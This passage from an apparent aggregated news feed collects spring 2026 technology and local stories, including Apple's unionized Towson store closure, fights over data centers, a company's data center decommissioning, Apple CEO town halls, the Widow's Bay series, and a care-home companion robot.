the closure. IAM argues Apple treated Towson employees differently because the store is unionized. Workers at Apple Trumbull in Connecticut and Apple North County in California received guaranteed transfer opportunities to nearby stores, while Towson employees only received the option to apply for open positions under the union contract. IAM Union International President Brian Bryant praised Maryland lawmakers for “standing with working people” and demanding accountability from Apple. Apple rejected the allegations and said it is following the collective bargaining agreement negotiated with the union in 2024. According to Apple, the agreement states employees would receive transfers or rehiring opportunities only if the company opened another store within 50 miles of Towson within 18 months. Otherwise, the contract provides severance for affected employees. Apple also said it “strongly disagree[s] with the claims made” and plans to present its case to the NLRB.

Old New Jersey Airport Could House New AI Data Center

Mon, 04 May 2026 18:47:16 +0200

A data center that hasn’t been built — or even formally proposed — is causing tensions in a rural Sussex County town where residents are threatening to sue local officials over the potential project.

Robots Are Building Clay Homes In Texas Using Dirt From the Ground

Sun, 03 May 2026 23:08:05 +0200

A startup south of Austin is using robots to build homes out of clay pulled directly from the ground, reports a local news station: The materials are gathered on site, mixed, and placed on a build plate. From there, a robot lowers from above, picks up the clay with a claw, carries it to the wall and drops it into place. Later, the same robot switches tools, using a hammer attachment to pound the material into shape. "It's kind of trying to replicate how a human might build an adobe house," said software engineer Anastasia Nikoulina... Using machine learning, the system constantly evaluates the wall, adjusting how it builds to create a flat, solid surface... The project is underway at Proto-Town, a ranch between Lockhart and Luling where startups test new technologies, from anti-drone systems to nuclear reactors. The company plans to build their next home on the property, with hopes to do more than 20 homes over the next year.

Read more of this story at Slashdot.

How does live facial recognition work and how many UK police forces use it?

Sun, 03 May 2026 18:01:44 +0200

Technology has been deployed since 2020 in London, leading to concerns over data privacy and racial bias

The Labour government thinks facial recognition technology is “the biggest breakthrough for catching criminals since DNA matching”. It wants all police forces to use it and recently announced 40 new vans rigged with live facial recognition cameras to be deployed in town centres across England and Wales.

Supporters say it streamlines police work and catches criminals. Opponents fear it violates civil liberties and can be biased against minorities.

Crime blotter: How the mastermind of U.K. iPhone thefts was caught

Sun, 03 May 2026 13:22:49 +0200

The iCloud account of an accused murderer contained sex abuse images, a deputy is arrested for AirTag stalking, and a man gets 17 months for iPad thefts, all in this week's Apple Crime Blotter.

Apple Store Town Center

This is the latest in an occasional AppleInsider series, looking at the world of Apple-related crime.

Continue Reading on AppleInsider | Discuss on our Forums

Heybike's Latest Foldable Commuter Bike Has Kept My Car in the Driveway for Weeks. It's Now $500 Cheaper

Sat, 02 May 2026 17:47:08 +0200

With the right accessories, this new foldable bike is everything you need to get around town for less.

Playing Esoteric Ebb is like rolling the dice with a great DM

Sat, 02 May 2026 14:01:45 +0200

It took me a while to get into Esoteric Ebb, a new CRPG from developer Christoffer Bodegård. The elevator pitch is basically Disco Elysium, but in the fantasy style of Dungeons & Dragons: You play as a cleric wandering around a small town who's trying to figure out, among other things, the mystery of why […]

Scenes from the great data center revolt

Fri, 01 May 2026 20:07:50 +0200

American citizens and politicians alike have turned on the expansion of data centers in their communities with incredible rapidity. Data centers have gone from curiosities that few paid any attention to, to pariahs blame for ruining the local climate, driving up electric bills, and consuming way too much fresh water.

Every day a new fight springs up on the Facebook group “Say NO to Data Centers,” which has 75,00 followers and climbing. A roundup of the most recent notable anti-data center news includes:

The Recall: The small town of Festus, Missouri (population: 14,000) immediately recalled four of its eight city council members after they approved a $6 billion data center project, as well as started a petition to remove the remaining city council members and the mayor, according to Politico. The developer is still unidentified, but the project is set to occupy 360 acres of land. Residents filed a lawsuit against the city almost immediately, alleging that Festus didn’t give the public enough time to review the proposal ahead of a decision, and that it made illegal rezoning decisions for the proposal.
Erin Brockovich gets involved: The legendary environmental activist who brought Pacific gas and electric to its knees for polluting groundwater has now turned her sights on data centers for the exact same reason, ground pollution. She also has her sights set on e-waste, location risks, scalability and efficiency, and energy consumption, all of which can be found on her new site.
Pennsylvania says, “not so fast:” A few months ago, the state of Pennsylvania launched an aggressive initiative to lure data centers to the state, promoting its energy and natural gas resources as the selling point period now, they’re tapping the brakes, as a coalition of 15 community groups is demanding a three-year moratorium on all new construction. There are three big pieces of legislation under consideration at the state capital: HB 2150, which requires annual public reporting on energy and water consumption with strict penalties for non-compliance; HB 1834, which prohibits utilities from passing data center construction or operational costs onto residents’ energy bills; and HB 2151, which establishes a “model zoning ordinance” to set statewide standards for noise and light pollution. A recent Quinnipiac poll found 68% of Pennsylvania voters oppose having a data center in their community.
Minnesotans fight Google: A citizens’ group has filed a lawsuit against the City of Hermantown, Minnesota, to block a proposed $1.5 billion Google data center, dubbed “Project Loon.” The group alleges the city violated state law by secretly rezoning 200 acres and holding closed-door meetings with Google representatives. The site will feature up to four buildings on 178 acres of developed space although right now 78% of the land remains privately owned. Opponents cite concerns about water usage for cooling, energy demands, and destruction of rural character.
Maine does not ban data centers; Maine looked like it was set to be the first state to ban new data centers, but Gov. Janet Mills vetoed a bill that would have banned data centers larger than 20 megawatts until November. In her veto letter to the Legislature, Mills wrote “A moratorium is appropriate given the impacts of massive data centers in other states on the environment and on electricity rates. But the final version of this bill fails to allow for a specific project in the Town of Jay that enjoys strong local support from its host community and region.” The state legislature attempted to override her veto, but failed to get the 2/3 majority needed for the override, with the final tally coming in at 72 for override to 65 opposed.

And finally, two huge projects that are avoiding pushback because they addressed the concerns about data centers.

1) A massive hyperscale data center project in Box Elder County, Utah led by celebrity investor Kevin O’Leary has gained approval. Supporters say will fund modern buildings at Hill Air Force Base while generating all of its own power, cleaning the water it uses so it can be sent to the Great Salt Lake and create 2,000 high-paying jobs in the rural area.

The project will be built on 40,000 acres in unincorporated Box Elder County, where every private landowner has agreed to the use of their land.

Its first phase is expected to require about three gigawatts of power. At full buildout, the campus would reach nine gigawatts, more than double the state’s current four GW of total energy consumption.

However, Paul Morris, executive director of the Military Installation Development Authority (MIDA), which oversees the project, told the Salt Lake Tribune that it has a deal with a natural gas utility that has a pipeline running directly through the land on which the data center will be built to provide all of the power needed.

“One hundred percent of the power will be generated off the Ruby Pipeline,” he said. “It will not take one electron from the grid. In fact, they believe that they’ll eventually have excess power that they’ll be able to put back into the grid.”

2) The Great Wyoming data center: Not to be outdone by its neighbor, Wyoming announced Project Jade, a 1.8-gigawatt data center last August but has since expanded it to 2.7 GW and the designer says in theory it could reach 10 GW. The entire state — one of the least populous in the US — uses less than 1 GW of power total.

Matt Field, chief real estate officer for Crusoe Energy Systems, a co-builder of the center, said their goal is for the data center to bring all of its own power, so that it doesn’t affect local utility rates.

“We’re colloquially viewing it as BYOP,” he told Cowboy State Daily. “Bring your own power. So, we’re bringing our own power. We’re not trying to get the physical infrastructure that’s here to bring us power,

As for water, the data center will usea closed loop system to cool its equipment. Project plans show five buildings of up to 800,000 square feet but Field said the initial water fill will be equivalent to the consumption of 20 households After that, water use for one year on an ongoing annual basis will be equivalent to less than three households.

“So, you really don’t add water to this,” he told the paper. “You fill it once. The water impact is so much less than it used to be. And part of this is we’re actually bringing the water to the chips. We’re not just pushing air across things anymore.”

Deconstructing the data center: A massive (and massively liberating) project

Thu, 30 Apr 2026 11:06:04 +0200

A few years back, Bhaskar Ramachandran read the tea leaves and what he saw was clear: With all the enhancements hyperscalers continuous make, there was no value in having on-premises data centers any longer.

“There is just no way for a private company to match that,” says Ramachandran, global vice president and CIO of paints and coatings manufacturer PPG. “This is their business, and they’re really good at it, and it was clear that the size of the hyperscalers is just going to win over the infrastructure game. So it didn’t make sense for us to keep up with the infrastructure.”

PPG began dismantling its eight global data centers about four years ago, with the final one completed in November 2025. For a 143-year-old company that has gone through 60-some acquisitions, that was no small feat.

Applications and infrastructure became a lot to manage, combined with trying to maintain a strong cybersecurity posture and compliance. “You can’t consistently manage this sort of a footprint, and it becomes really unwieldy very quickly,” Ramachandran says.

Decommissioning a data center is like defusing a complex bomb. Every wire, sequence, and step must be handled with care, because one wrong move can be a blow to your organization in downtime risks, data breaches, or a hit to its bottom line.

“The decommissioning of data centers is underestimated in terms of complexity, financial risks, reputation loss, and data exposure,” according to Gartner. The firm estimates that by 2030, twice as many enterprise data centers will have been decommissioned compared to those built. Reasons include consolidations, obsolescence, and shifting workloads to cloud and colocation services.

The inadvertent data center

In some instances, data centers have cropped up without much forethought. “Most organizations I work with didn’t build a data center intentionally — they grew into one,” says Aaron Walker, CEO of IT consultancy Overbyte, and a former associate partner at IBM Consulting. “A rack in a closet became a row in a repurposed room, and suddenly, you have a facility that was never designed for the job holding years of infrastructure decisions.”

Deconstructing that environment is work that often gets overlooked, says Walker.

He recently consulted with a large, fully remote online school in the throes of this process. The deconstruction work began with a full audit of what systems existed. From there every workload was categorized to determine what gets migrated, what gets moved to cloud-native infrastructure, and what gets retired entirely, he says.

Then came the physical side: decommissioning hardware and deciding what equipment had residual value and what to recycle.

“The timeline pressures are real,” Walker says. “You can’t just power things down. Dependencies surface that nobody documented.”

The IT organizational side had its own challenges. “People have years of institutional knowledge tied to physical systems, and there’s genuine anxiety about dismantling something they built and maintained,” he says.

Walker’s team also ran into issues trying to upgrade systems during the migration, which is generally a mistake, he says. “A data center deconstruction is already a significant change event, and layering additional upgrades on top of it introduces unnecessary risk. In most cases, it is better to separate modernization from migration.”

From start to finish, the deconstruction ran about a year, but timing will vary from project to project, he says.

Less hassle, more flexibility

When the time came for digital marketing agency Helium SEO to consider what to do with its data center, CTO Paul DeMott says the math was simple. “We were paying $12,000 a month toward the colocation fees, hardware support, and the maintenance cost for the physical servers sitting in racks. Cloud infrastructure promised better reliability, automatic scaling, and way less hassle once we were done moving everything.”

The most compelling reason to rid itself of a physical footprint, though, was flexibility. Physical servers equated to capacity planning six months ahead, DeMott says, and if they needed more resources, IT had to wait weeks for hardware to come and get installed.

“Cloud allows resources to be spun up in minutes and shut down at the same speed,” he says. “We went from buying expensive hardware that depreciated to purchasing what we are actually using.”

IT began by creating a list of all the apps running on physical servers and classifying them according to how difficult it would be to move them. “Simple web apps moved first as they barely needed changes,” DeMott says. “Databases and anything which stores data — that’s a little bit later because we’d have had to plan the migration well.”

Some older apps had to be changed to work on the cloud, he adds. The actual move took place over six months, and IT decommissioned the data center while deploying apps to the cloud in tandem, moving the services step by step with backup plans for each one.

Still, the process wasn’t seamless. “Translating 15TB of data to the cloud takes 72 hours on our internet connection, and that was the biggest problem,” DeMott notes. IT ended up using AWS Snowball, a physical hard drive, because it took staff weeks to upload everything, “and [it] ruined the performance in our network.”

Another issue was figuring out the cloud costs, which DeMott characterizes as “brutal. Different types of servers, storage, data transfer costs made it almost impossible to budget,” he says. “Our first month bill accrued at 40% more than we estimated because we forgot about charges for moving data out of the cloud.”

It took IT three months of “fumbling” to get costs below what the company paid for the data center before things stabilized.

The power of ‘cloud only’

Once PPG made the decision to dismantle its data centers and move everything to the cloud, it was time to spread the word internally. “When you say, ‘cloud only,’ it makes it much easier for you to have conversations,” Ramachandran says. “It just sets the entire organization up on a single mission … just those two words make it very, very clear to everybody in the company what that means. There is no room for interpretation.”

The news was revealed at a global town hall, and initially, Ramachandran says, the sentiment was, “this too, shall pass. Then people decided to get on board.”

There were the typical organizational change management issues to deal with. Building momentum takes time, he says, but once the first data center was shut down, people came to the realization that “Okay, we are actually doing this,” Ramachandran says. “Then there was no resistance … everybody got on board, and things started to accelerate.”

Officials ensured that all the training IT needed was made available to them and the company paid for everything, certifications included. “We recognized it in town halls; anybody that went through this training and got the certification. We celebrated people. We promoted people that did the things we wanted them to do,” he says. All of this helped reinforce the mission.

“For the most part, business users didn’t care; their apps were available and they didn’t care where they were,” although there were a couple of exceptions among more technically savvy employees who were concerned about workflow and the security implications of cloud. There was a perception among some that a data center was more secure, Ramachandran says.

That led to looking at publicly available information on all the cybersecurity incidents in the recent past. The research indicated a clear pattern, he says.

“And the pattern is: The more significant cybersecurity events were actually happening to companies” that were largely on-prem environments, Ramachandran observes. “So you came to this point where the cloud actually became lot more secure than on-prem infrastructure.”

There are several reasons why, he maintains, including that, relatively speaking, it is a lot easier to implement security policies consistently in the cloud because “you have a single pane of glass enforcement of policies that you don’t have in an on-prem environment.”

This makes managing your attack surface area more straightforward, Ramachandran says. “So you put all of this together, you package it up on the presentation, and talk to those people one on one, and then say, ‘This is why.’”

The dismantling process

PPG works with a single hyperscaler for its business in China and three others. Deciding what apps went where was largely a function of the technology and which hyperscaler “lends itself to that brand of technology versus the other.” In some instances, where a decision of which to use wasn’t clear, IT made the call.

Step one was deciding on an approach, and PPG opted to modernize its apps at the same time as the deconstruction work. “When you pull together the business case to modernize applications, we came to a conclusion that if we do modernization on the application layer and the infrastructure layer at the same time, I would probably be retired by the time we migrated the data center,” Ramachandran says.

That made it easy to decide when to do a lift and shift and when to not bother migrating certain applications, he says. Then IT could focus on other business priorities to modernize the workforce.

“We just adjusted our roadmap to say the new [app] would go straight into the cloud” while not bothering to move older workloads, Ramachandran says.

The human element

The next step was “finding the people that are hungry to do something new and probably have a bit of experience and … they are waiting for someone to say, ‘Hey, let’s do this,’” Ramachandran says of the data center deconstruction. “They are forward thinkers. Every organization in our scale has [them]. It’s identifying those people and then … empowering them. They became the leaders in the new infrastructure.”

Once the migration started, it was important to celebrate the wins. That gets more people interested in being a part of the new organization PPG was forming called the Cloud COE (center of excellence).

The biggest mistake companies make is treating deconstruction as a single project instead of a phased operational shift, says Roland Parker, founder and CEO of Impress Computers, a managed IT services and cybersecurity firm in Houston.

“We walked one 200-person manufacturer through moving workloads in priority tiers — production-critical systems last, not first — which kept their floor running while we systematically eliminated physical infrastructure over 14 months,” he says.

However, it’s “the human side [that] kills more timelines than the tech does,” Parker observes. “Field supervisors and plant managers have work-arounds built around how legacy systems behave.” So, before touching a single rack, Parker’s team audits those informal processes, “because if you don’t, you migrate the infrastructure and orphan the people who actually use it.”

Overbyte’s Walker agrees, saying that almost all the snafus his team ran into during the online school deconstruction project were not technical, but came down to visibility. “At some point, you have to confront unknown systems; things with incomplete or outdated documentation,” he says. “We had moments where, after beginning to deprovision systems, stakeholders surfaced saying, ‘Wait, that’s still in use.’”

Dismantling systems is not the end

PPG experienced no disruptions during the dismantling process, Ramachandran says, other than some tactical delays and contracts that needed updating.

“There were some learnings on the network side because networking can get complex,” he says. “Sometimes, we extended the outage windows” to up to five hours, for example. Those were the hiccups.”

From start to finish, the decommissioning process of all eight data centers took about three years. “The end is not migrating all the workloads. The end is actually shutting down the data center,” Ramachandran stresses. This requires deconstructing the power, the cooling, fire systems, and multiple generators used for backup, which had to be removed by helicopter.

“You have to take the diesel fuel out and dispose it off and sell it. We have to get recertification of the building for safety, because this is a building where you had kilowatts of power coming in, which basically [also] went through a deconstruction process,” he says. “So you have to get a safety certification … all of this takes time because we have to give the building back to the building management the way they gave it to us.”

What data center deconstruction buys you

The painstaking data center deconstruction process has given Ramachandran valuable insight. “Make sure your best people spend time creating value for the business, as opposed to babysitting infrastructure,” he says, because infrastructure no longer adds value.

“You also do a lot of inherent risk management by getting rid of data centers and moving to a cloud environment you don’t have to worry about,” he adds. Noting the current state of the economy, Ramachandran says coping with sudden price increases for memory and chips is no longer stressful since they aren’t buying infrastructure.

“You’re basically giving back working capital to the company, because you’re moving the organization from a fixed capital environment to your variable cost model completely,” he says, “and you don’t have to refresh your hardware every four or five years.”

Cost was never the objective for the data center deconstruction, Ramachandran notes. “Nonetheless, when we did the business case, we said it’s not going to cost us any more or any less, but will buy us better security, better flexibility, better agility for the organization,” as well as better focus and technology. “And we achieved all of those.”

The value is in all those other areas. “We are not data center operators. The team is now focused on delivering applications that are meaningful to the business,” Ramachandran says. “The team is much closer than ever to the business because we are not talking infrastructure but how to make the business better.”

Walker says companies should measure twice, cut once. “Most teams want to jump straight into migration,” he says, “but the real work is building a complete inventory and mapping dependencies upfront.”

While it made sense for PPG to modernize some apps at the same time as the data center deconstruction work, Walker advises IT leaders to resist the urge to do everything at once. “Focus on moving what you understand first, and isolate the unknowns early,” he says.
“The success of these projects is usually determined by how well you handle the edge cases, not the easy wins.”

Any new technological development IT can make without interrupting operations dramatically reduces time to market, Ramachandran says.

Working on the latest technologies makes IT happy, and that helps with talent retention, he adds, “because we can say we’re cloud only, so this 143-year-old company looks modern. That is meaningful in so many ways.”

Apple TV’s Widow’s Bay Launches With Two Episodes Instead of Three

Wed, 29 Apr 2026 05:07:13 +0200

Apple TV’s new horror-comedy Widow’s Bay is now streaming, with the first two episodes available now. The series stars Matthew Rhys as Mayor Tom Loftis, a skeptical town leader trying to turn a cursed New England island into a tourist spot, even as the old local legends begin to feel very real. This release is slightly different from the earlier plan. Apple had first announced a three-episode premiere, but the show has now opened with two episodes, followed by weekly releases through June 17, 2026. Episodes: 10 episodes Available now: Episodes 1 and 2 Genre: Horror-comedy Started airing: April 29, 2026 Finale date: June 17, 2026 Release schedule: New episodes every Wednesday, with a special two-episode drop on May 27 https://www.youtube.com/watch?v=Nmc2RYm6PUE Plot Widow’s Bay follows Mayor Tom Loftis as he tries to rebuild his strange island town by attracting tourists. The locals believe the place is cursed, but Loftis refuses to take the stories seriously. That changes when the town’s old myths begin returning just as visitors start arriving. The hook is not just the haunting. It is the way the show uses a town full of stubborn, odd, frightened people to make the horror feel funny without turning it into a spoof. Expect local legends, bad decisions, and a mayor who may have invited trouble to his own doorstep. https://www.youtube.com/watch?v=4JLAweJZrgg FAQs How many episodes are in Widow’s Bay?Season 1 has 10 episodes. Are all episodes available now?No. Only the first two episodes are available now. The rest will arrive weekly. When does Widow’s Bay end?The season finale is scheduled for June 17, 2026. What genre is Widow’s Bay?It is a horror-comedy with supernatural elements. Who stars in Widow’s Bay?Matthew Rhys leads the cast as Mayor Tom Loftis. Apple TV costs $12.99 per month in the U.S. after a 7-day free trial for new subscribers. Are you watching Widow’s Bay weekly or waiting for the full season? Let us know in the comments.

‘Widow’s Bay’ is Apple TV’s weirdest, boldest series yet – Collider

Tue, 28 Apr 2026 22:23:03 +0200

“Widow’s Bay” is a quaint island town 40 miles off the coast of New England. But something lurks beneath the surface. Mayor Tom Loftis…

The post ‘Widow’s Bay’ is Apple TV’s weirdest, boldest series yet – Collider appeared first on MacDailyNews.

Apple to close first unionized U.S. Retail Store in Towson, citing crime and mall decline; union cries ‘union-busting’

Tue, 28 Apr 2026 16:11:43 +0200

Apple will permanently close its Towson Town Center store in June, marking the shutdown of the first Apple retail location in the U.S. to…

The post Apple to close first unionized U.S. Retail Store in Towson, citing crime and mall decline; union cries ‘union-busting’ appeared first on MacDailyNews.

Deconstructing the data center: A massive (and massively liberating) project

Tue, 28 Apr 2026 12:19:55 +0200

The inadvertent data center

Deconstructing that environment is work that often gets overlooked, says Walker.

Then came the physical side: decommissioning hardware and deciding what equipment had residual value and what to recycle.

“The timeline pressures are real,” Walker says. “You can’t just power things down. Dependencies surface that nobody documented.”

From start to finish, the deconstruction ran about a year, but timing will vary from project to project, he says.

Less hassle, more flexibility

“Cloud allows resources to be spun up in minutes and shut down at the same speed,” he says. “We went from buying expensive hardware that depreciated to purchasing what we are actually using.”

It took IT three months of “fumbling” to get costs below what the company paid for the data center before things stabilized.

The power of ‘cloud only’

The news was revealed at a global town hall, and initially, Ramachandran says, the sentiment was, “this too, shall pass. Then people decided to get on board.”

That led to looking at publicly available information on all the cybersecurity incidents in the recent past. The research indicated a clear pattern, he says.

The dismantling process

That made it easy to decide when to do a lift and shift and when to not bother migrating certain applications, he says. Then IT could focus on other business priorities to modernize the workforce.

“We just adjusted our roadmap to say the new [app] would go straight into the cloud” while not bothering to move older workloads, Ramachandran says.

The human element

Dismantling systems is not the end

PPG experienced no disruptions during the dismantling process, Ramachandran says, other than some tactical delays and contracts that needed updating.

What data center deconstruction buys you

Any new technological development IT can make without interrupting operations dramatically reduces time to market, Ramachandran says.

Apple's Next CEO John Ternus Reportedly Pledges to Expand Apple’s Services Portfolio

Tue, 28 Apr 2026 08:46:15 +0200

Apple's next CEO, John Ternus, is scheduled to take charge of the Cupertino-based tech giant on September 1. During a town hall meeting last, Ternus reportedly assured Apple employees that he plans to expand the Apple Services portfolio further, while highlighting the role Apple Pay has planned in transforming the way people buy things. Ternus will also oversee the la...

Apple TV scores another perfect 100% on Rotten Tomatoes with hit ‘Widow’s Bay’

Mon, 27 Apr 2026 20:06:44 +0200

“Widow’s Bay” is a quaint island town 40 miles off the coast of New England. But something lurks beneath the surface. Mayor Tom Loftis…

The post Apple TV scores another perfect 100% on Rotten Tomatoes with hit ‘Widow’s Bay’ appeared first on MacDailyNews.

The Ninja Creami is no longer the only ice cream machine in town — here are the alternatives I have my eye on for this summer's chilled treats

Mon, 27 Apr 2026 18:46:52 +0200

Including a budget-friendly ice cream machine that promises a perfect, single-serve chilled treat in 20 minutes flat.

New Apple CEO John Ternus Teases AI Future Once Considered “Science Fiction”

Sun, 26 Apr 2026 19:52:20 +0200

John Ternus is stepping into Apple’s top job with one clear message for employees: AI will shape the company’s next major product era, but Apple will still focus on real customer experiences rather than shipping technology for attention. Bloomberg’s Mark Gurman reported that Ternus shared this view during a recent Apple town hall, where he spoke about AI, services, and the company’s product pipeline as he prepares to succeed Tim Cook. The strongest part of Ternus’ message was not a product teaser. It was how he framed AI as a tool that can change both Apple’s devices and the way Apple builds them internally. “I am incredibly excited about this wave of technology because I think it is really profound, and it’s going to allow us to do some things that, honestly, were previously in the realm of science fiction, and now we see a path to being able to do it, which is incredibly exciting.” That “realm of science fiction” line matters because Apple faces pressure to prove that Apple Intelligence, Siri, and future AI devices can catch up with rivals. Ternus appears to understand that the next Apple era needs more than faster chips and thinner hardware. Ternus Wants AI Across Products and Internal Work Ternus told employees that AI will help Apple improve products by analyzing years of internal data, solving harder engineering problems, and finding ways to make devices better. He also said Apple will keep building experiences where hardware, software, and services work together. That matters for upcoming products such as smart home devices, AI-powered wearables, camera-based AirPods, and future smart glasses. The challenge now is execution, especially with Siri upgrades still carrying heavy expectations.

Jerax Season 1 OTT Release: Where to Watch This Kannada Fantasy Comedy Series

Sun, 26 Apr 2026 10:01:44 +0200

Jerax Season 1 is a Kannada fantasy comedy that explores chaos in a small town when a Xerox machine starts creating human clones.

Maine Governor Vetoes Data Center Moratorium Bill

Sat, 25 Apr 2026 05:19:00 +0200

Maine Gov. Janet Mills vetoed a bill that would have imposed the nation's first statewide moratorium on new data centers, saying she supported the idea in principle but would not block a major redevelopment project tied to jobs and local investment. Instead, she said she will create a council to study data centers' effects while also signing a separate measure to deny them certain state tax incentives. Politico reports: "After prior redevelopment efforts failed, the Town of Jay worked for two years on a $550 million data center redevelopment project to finally bring jobs and investment back to the mill site," Mills wrote, adding that she would issue an executive order establishing a council to examine the impact of data centers in Maine. The legislation would have made Maine the first state to block the construction of new data centers, as both political parties grapple with how voters view them ahead of the midterm elections. In a statement accompanying the letter, the governor said she had signed a separate bill that would prohibit data center projects from receiving Maine's business development tax incentive programs

Read more of this story at Slashdot.

Maine Governor Vetoes Bill That Would Have Paused New Data Centers

Fri, 24 Apr 2026 22:02:11 +0200

Gov. Janet Mills said she rejected what would have been the nation’s first moratorium on data centers because it failed to exempt a project in a distressed mill town.

Apple TV’s Widow’s Bay Gets Early Praise as Bold New Comedy

Fri, 24 Apr 2026 19:23:18 +0200

Apple has a highly anticipated show on its Apple TV platform with Widow’s Bay. This new comedy and horror series premieres on April 29. Created by Katie Dippold, the project stars Matthew Rhys as the ambitious mayor of a cursed New England island community. Early reviews are praising the production for successfully blending genuine scares with dry humor. Critics describe the ten-episode series as a wildly original mix that completely defies traditional television genres. The series blends maritime horror with quirky workplace comedy Widow's Bay follows Mayor Tom Loftis as he attempts to boost tourism for a remote island town. The problem is that the location has a long history of maritime disasters, witchcraft rumors, and supernatural occurrences. As Loftis pushes to bring visitors to the area, impossible situations begin bubbling to the surface. The narrative splits the difference between a trope-filled horror story and a character-driven workplace comedy. The writing team leans heavily into the eerie folklore of the New England setting. Town oddballs and local officials are forced to reckon with strange creatures alongside their own internal anxieties. Directors like Hiro Murai and Ti West help establish a rich visual language that feels rustic and charming but remains cloaked in a deeply sinister atmosphere. The production relies on a strong ensemble cast, including Stephen Root, Kate O'Flynn, and Dale Dickey, to ground the absurd circumstances in real human emotion. Early reviews praise the cast and unpredictable tonal shifts Critics are overwhelmingly positive about the first season. Reviewers note that the combination of laughs and gore feels completely original and appreciate that the show takes the horror elements seriously rather than playing the scary moments purely for laughs. The misty island setting serves as an excellent backdrop for the escalating tension. Here are excerpts from some of the first reviews: RogerEbert: “It is truly unlike anything else on TV, a wild swing of tonal shifts that works because it commits so fully to both halves of the equation.” The A.V. Club: “With its diverse elements coming together like lightning in a bottle, Widow’s Bay is a destination well worth visiting.” Decider: “A hauntingly good horror comedy that achieves a masterful blend of nail-biting terror and deliciously dark humor.” Den of Geek: "Part workplace comedy, part trope-filled horror story, and part love letter to the power of community and found family." TechRadar: "It’s laugh-out-loud funny, has an engaging mystery at its center, and a cast of eccentric individuals who you want to spend more time with." The first two episodes of Widow's Bay arrive on Wednesday, April 29. Apple will then release weekly episodes through June 17, with a special two-episode drop on May 27 for viewers in the US and globally.

Apple Invites Update Adds Seven New Features and iMessage App

Fri, 24 Apr 2026 10:37:58 +0200

Apple recently rolled out version 1.8 of its digital invitation service for iCloud+ subscribers, bringing a suite of fresh capabilities to the iPhone platform (via 9to5Mac). First launched in February 2025, Apple Invites continues to evolve with content refreshes and functional performance improvements. The latest update introduces seven distinct features to help hosts manage gatherings, including a dedicated iMessage application for quicker sharing right from active chats. An iMessage extension and image exports expand your sharing options The standout addition in this upgrade is the integration of an iMessage application. You can pull up an existing event invitation and send it to friends or family without leaving the Messages interface. This keeps the planning conversation centralized in text threads where people are already communicating. Additionally, not all event coordination happens over text messages. Apple addressed this reality by allowing users to download an image file of the final invite card. Organizers can take this exported image and share it across various social platforms to cast a wider net for public gatherings. Image playground themes and music playlists help customize the vibe Event hosts looking to match a specific aesthetic can now rely on built-in generative tools. Image Playground themes are available right inside the backgrounds gallery. Organizers can quickly produce original imagery tailored to the exact mood of the party instead of searching for stock photos. Music is another core component of entertaining, and the platform now features a Shared Playlist tile connected to Apple Music. This tile offers personalized playlist suggestions tailored to the listening history of the host. Users also gain access to an expanded library of searchable playlists directly within the invitation interface. Manual guest list edits and time zone settings improve organization Organizing an event often requires manual adjustments when people text or call in their RSVPs. The updated application lets hosts alter the guest list directly to reflect those offline responses. Hosts can also change the number of additional guests each person is bringing to keep the headcount accurate. Virtual events and destination gatherings often run into scheduling confusion. To fix this, the update allows hosts to attach a specific time zone to the event details. Clarifying the exact time zone removes any ambiguity for guests traveling from out of town or dialing in remotely. A unified dashboard displays all past and upcoming event details Managing multiple events previously required a bit of screen navigation, but the latest version introduces an All Events view. This central hub lives right inside the main dashboard. It aggregates everything on your calendar, allowing you to review past parties or check the details of an upcoming dinner in a single spot. The layout simplifies tracking for frequent hosts.

Tim Cook Calls Apple Maps Launch His 'First Really Big Mistake' as CEO

Thu, 23 Apr 2026 20:06:21 +0200

In a recent town hall meeting reported by Bloomberg (paywalled), Apple CEO Tim Cook named the troubled 2012 launch of Apple Maps as his "first really big mistake" in the role. "The product wasn't ready, and we thought it was because we were testing more of local kind of stuff," Cook told staff. MacRumors reports: Reflecting on the debacle, Cook said it was "valuable," noting that he expressed regret to users at the time and suggested they use competing navigation apps instead. "We apologized for it, and we said, 'Go use these other apps. They're better than ours.' And that was some humble pie," Cook said. "But it was the right thing for our users. And so it's an example of keeping the user at the center of the decisions that we made." Cook added: "Now we've got the best map app on the planet. We learned about persistence, and we did exactly the right thing having made the mistake."

Read more of this story at Slashdot.

Microsoft brings Xbox back, scraps Microsoft Gaming

Thu, 23 Apr 2026 19:31:46 +0200

Xbox CEO Asha Sharma has had a busy week. Sharma held an internal town hall with Xbox employees today, just days after announcing an Xbox Game Pass price cut, commenting on the status of the Xbox mobile store, and teasing a mysterious Xbox and Discord partnership. One of the items on the agenda for the […]

Tim Cook regrets 2012 Apple Maps launch, hails Apple Watch as proudest achievement

Thu, 23 Apr 2026 15:56:59 +0200

In an internal Apple town hall meeting held shortly after the announcement of his planned departure as CEO, Tim Cook addressed employees…

The post Tim Cook regrets 2012 Apple Maps launch, hails Apple Watch as proudest achievement appeared first on MacDailyNews.

Apple Maps was Tim Cook's biggest mistake

Thu, 23 Apr 2026 13:37:58 +0200

Speaking to employees, outgoing CEO Tim Cook talked about his time leading Apple, citing both the successes he is most proud of, and admitting to the one main failure.

Screenshot of an unfortunately typical Apple Maps failure in its early days

As announced, Tim Cook and incoming CEO John Ternus held an Apple Town Hall meeting for employees on Wednesday, April 22, 2026. It was specifically to answer questions about the handover to Ternus, but Cook also addressed his own time as CEO.

According to Bloomberg, Cook described the 2012 launch of Apple Maps as his "first big mistake" after taking over from Steve Jobs.

Continue Reading on AppleInsider | Discuss on our Forums

Emma the joke-telling robot cracks up the care home: Paula Hornickel’s best photograph

Wed, 22 Apr 2026 16:03:53 +0200

‘The first resident that Emma – a social robot – was introduced to was called Peter. After that, Emma assumed they were all called Peter, which everyone found hilarious. Then she broke down’

One morning in July 2025, I arrived in the small, quiet town of Albershausen in south-west Germany. It has only around 4,000 inhabitants. I went to visit a care home where they were piloting a social robot named Emma. A group of residents sat in a circle while Emma stood in the middle. She’s the height of a toddler, with big googly eyes, and was wearing a red hat knitted for her by one of the careworkers. The first resident she was introduced to was called Peter and, after he introduced himself, Emma assumed they were all called Peter, which everyone found hilarious. Then Emma broke down suddenly and the illusion was shattered.

Later on, Emma was working again, and I found her in the dining room with Waltraud, the resident in this photo. It was a calmer, more focused moment. I decided to sit them across from one another at eye level, Waltraud facing Emma. There was a soft light in the room and they both seemed very present with one another. There are also paradoxes in the picture: the large windows showing the landscape outside, contrasting with the inside, which is ordered and clinical. In the middle you have an encounter between an elderly woman and a machine designed for companionship. They began speaking about picking flowers, about their favourite flowers – Waltraud is passionate about them, and Emma has an endless amount of knowledge due to her artificial intelligence. She can remember past conversations and recognise faces, too.

One town’s scheme to get rid of its geese

